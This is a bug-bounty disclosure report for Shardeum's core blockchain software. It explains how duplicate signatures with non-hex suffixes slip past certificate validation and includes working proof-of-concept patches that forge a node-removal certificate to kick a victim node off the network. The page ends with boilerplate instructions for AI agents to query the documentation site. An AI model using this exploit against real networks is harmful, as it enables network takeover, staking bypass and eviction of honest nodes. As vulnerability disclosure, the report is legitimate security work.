# #39679 \[BC-Critical] bypass certificate signing validation by double counting signatures

## #39679 \[BC-Critical] Bypass certificate signing validation by double counting signatures due to ignored suffixes

**Submitted on Feb 4th 2025 at 18:39:02 UTC by @Blockian for** [**Audit Comp | Shardeum: Core III**](https://immunefi.com/audit-competition/audit-comp-shardeum-core-iii)

* **Report ID:** #39679
* **Report Type:** Blockchain/DLT
* **Report severity:** Critical
* **Target:** <https://github.com/shardeum/shardus-core/tree/bugbounty>
* **Impacts:**
  * Network not being able to confirm new transactions (total network shutdown)
  * Bypassing Staking Requirements

### Description

### Impact

1. Bypass stake certificate validation, allowing for non-staking nodes and network take-over
2. Bypass nodes removal validation, allowing to remove nodes from the network

* Note: same impact as reports [`33222`](https://reports.immunefi.com/shardeum-core/33222-bc-critical-an-attacker-can-control-which-nodes-can-and-can...) and [34252](https://reports.immunefi.com/shardeum-core/34252-bc-critical-bypass-certificate-signing-validation) but a different root cause.

### Root Cause

The function `validateClosestActiveNodeSignatures` counts unique signatures, but double counts duplicate signatures with different suffixes that aren't valid hex characters.

### Attack Flow

#### Staking

* Malicious node generates a fake `JoinRequest` with a fake `StakingCertificate`
  * It brute-forces `StakingCertificate` fields to make sure its one of the closest nodes to the hash of the staking certificates. This is easy, as only 1 node is needed to be close.
* It creates the full `JoinRequest`, with multiple copies of its signature, instead of signatures from many other nodes, changing only the suffix of the signature with invalid non-hex bytes.
* It calls `gossip-join-request`
* Other nodes receive the join request, and validate it using `validateClosestActiveNodeSignatures`.
* The validation bypasses, as the signatures are valid because non-hex characters are ignored.
* The new node joins the network without staking.

#### Kicking a node

* Malicious node generates a fake `RemoveCertificate`.
* It fills it with multiple copies of its signature, instead of signatures from many other nodes, changing only the suffix of the signature with invalid non-hex bytes.
* It calls `remove-by-app` gossip route.
* Other nodes receive the certificate, and validate it using `validateClosestActiveNodeSignatures`.
* The validation bypasses, as the signatures are valid because non-hex characters are ignored.
* The victim node is kicked from the network.

### Deep Dive

The function [`validateClosestActiveNodeSignatures`](https://github.com/shardeum/core/blob/bugbounty/src\shardus\index.ts#L1975-L1975) uses [`Crypto.verify`](https://github.com/shardeum/core/blob/bugbounty/src\crypto\index.ts#L203-L203) which uses [`lib-crypto-utils`](https://github.com/shardeum/lib-crypto-utils/)' [`verifyObj`](https://github.com/shardeum/lib-crypto-utils/blob/bugbounty/src\index.ts#L442-L442) which calls [`verify`](https://github.com/shardeum/lib-crypto-utils/blob/bugbounty/src\index.ts#L416-L416) which calls [`ensureBuffer`](https://github.com/shardeum/lib-crypto-utils/blob/bugbounty/src\index.ts#L488-L488) on the signature which [runs](https://github.com/shardeum/lib-crypto-utils/blob/bugbounty/src\index.ts#L488-L488)

```js
Buffer.from(input, 'hex')
```

on the signatures, which reads up until the first non-hex character.

### Suggested Fix

I suggest to do two think:

1. Ensure "is-hex" on any payload on any gossip and http endpoint that is supposed to be hex.
2. Count signers and not signatures.

### Severity

This allows to take over the network (by kicking nodes / adding nodes) and so it critical.\
In addition, this is the same as [`33222`](https://reports.immunefi.com/shardeum-core/33222-bc-critical-an-attacker-can-control-which-nodes-can-and-can...) and [34252](https://reports.immunefi.com/shardeum-core/34252-bc-critical-bypass-certificate-signing-validation) which were treated as critical.

## Message to the project

I feel like my time was spent roughly 20% on researching, and 80% on trying to create POCs that match your standard or to answer question you give on the reported bugs. I believe there are more bugs to be found in the project, and that the current approach is the reason that bugs keep being found. I suggest you do an invite only competition, without defaultly requesting a POC, and only requesting one if you truly believe there is no bug. This would allow whitehats to actually uncover bugs.

### Proof of Concept

### POC

Note: this strongly relies on `infosec_us_team`'s POC for [`33222`](https://reports.immunefi.com/shardeum-core/33222-bc-critical-an-attacker-can-control-which-nodes-can-and-can...) so thanks to them :)

1. Both `shardeum` and `core` should be on the `bugbounty` branch
2. Apply `debug-10-nodes` as stated in the docs
3. Apply the following patch on core:

```diff
diff --git a/src/shardus/index.ts b/src/shardus/index.ts
index f29206b8..567292be 100644
--- a/src/shardus/index.ts
+++ b/src/shardus/index.ts
@@ -3408,6 +3408,50 @@ class Shardus extends EventEmitter {
   isOnStandbyList(publicKey: string): boolean {
     return JoinV2.isOnStandbyList(publicKey)
   }
+
+  async blockian_gossipRemoveNode(pk: string): Promise<string> {
+    let thenodes = nodeListFromStates([
+      P2P.P2PTypes.NodeStatus.ACTIVE,
+      P2P.P2PTypes.NodeStatus.READY,
+      P2P.P2PTypes.NodeStatus.SYNCING,
+    ]);
+    this.mainLogger.warn(`BLOCKIAN: Trying to disconnect him: ${pk}`)
+    console.log(`BLOCKIAN: Trying to disconnect him: ${pk}`)
+    let certificate: P2P.LostTypes.RemoveCertificate = {
+      nodePublicKey: pk, // Victim node
+      cycle: CycleCreator.currentCycle - 2,
+    };
+    const hash = crypto.hashObj(certificate)
+    const closestNodes = this.getClosestNodes(hash, 6);
+    const closestNodesByPubKey = new Map()
+    for (let i = 0; i < closestNodes.length; i++) {
+      const node = this.p2p.state.getNode(closestNodes[i])
+      if (node) {
+        closestNodesByPubKey.set(node.publicKey, node)
+      }
+    }
+    let ourPublicKey = Self.getPublicNodeInfo(true).publicKey;
+    if (!closestNodesByPubKey.has(ourPublicKey)) {
+      this.mainLogger.warn(`BLOCKIAN: WE ARE NOT in the closest nodes list.`)
+      console.log(`BLOCKIAN: WE ARE NOT in the closest nodes list.`)
+      return "BLOCKIAN: WE ARE NOT in the closest nodes list.";
+    }
+    let oursig = this.crypto.sign(certificate).sign;
+    certificate.signs = Array.from({ length: 9 }, (_, i) => ({
+      owner: oursig.owner,
+      sig: oursig.sig.toLowerCase() + 'z'.repeat(i + 1),
+    }));
+        
+    Comms.sendGossip(
+      'remove-by-app',
+      certificate, // payload
+      'trackthis', // tracker
+      Self.id, // sender
+      thenodes
+    )
+    console.log(`BLOCKIAN: Final object we are going to send: ${JSON.stringify(certificate)}`);
+    return `Success: Current Quarter ${currentQuarter} (it only works during Quarter 1 and 2 of each cycle)`;
+  }
 }
 
 function deepReplace(obj: object | ArrayLike<any>, find: any, replace: any): any {
```

4. Apply the following patch on `shardeum` (obviously the logs are just for convenience)

```diff
diff --git a/src/index.ts b/src/index.ts
index 22fb7ae9..a39f5e09 100644
--- a/src/index.ts
+++ b/src/index.ts
@@ -2378,7 +2378,7 @@ const configShardusEndpoints = (): void => {
   })
 
   // endpoint on joining nodes side to receive admin certificate
-  shardus.registerExternalPut('admin-certificate', externalApiMiddleware, async (req, res) => {
+  shardus.registerExternalPut('admin-certificate', externalApiMiddleware, async (req: Request, res) => {
     try {
       nestedCountersInstance.countEvent('shardeum-admin-certificate', 'called PUT admin-certificate')
 
@@ -2409,6 +2409,13 @@ const configShardusEndpoints = (): void => {
     nestedCountersInstance.countEvent('endpoint', 'health-check')
     res.sendStatus(200)
   })
+
+  shardus.registerExternalGet('blockian_gossipRemoveNode', externalApiMiddleware, async (req, res) => {
+    const pk = req.query.pk as string;
+    console.log(`BLOCKIAN: Target pk: ${pk}`);
+    const result: string = await shardus.blockian_gossipRemoveNode(pk);
+    res.json(`BLOCKIAN: All good. Result: ${result}`);
+  })
 }
 
 const configShardusNetworkTransactions = (): void => {
diff --git a/src/shardeum/shardeumFlags.ts b/src/shardeum/shardeumFlags.ts
index de85df9c..2a7221d4 100644
--- a/src/shardeum/shardeumFlags.ts
+++ b/src/shardeum/shardeumFlags.ts
@@ -132,7 +132,7 @@ export const ShardeumFlags: ShardeumFlags = {
   contractStoragePrefixBitLength: 3,
   contractCodeKeySilo: false,
   globalCodeBytes: false,
-  VerboseLogs: false,
+  VerboseLogs: true,
   debugTraceLogs: false,
   Virtual0Address: true,
   GlobalNetworkAccount: true,

```

5. Run`http://NODE_EXTERNAL_IP:NODE_EXTERNAL_PORT/blockian_gossipRemoveNode/?pk=PUBLIC_KEY_OF_ACTIVE_NODE_WITHIN_YOUR_SHARD_TO_KICK`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/shardeum-core-iii/39679-bc-critical-bypass-certificate-signing-validation-by-double-counting-signatures.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
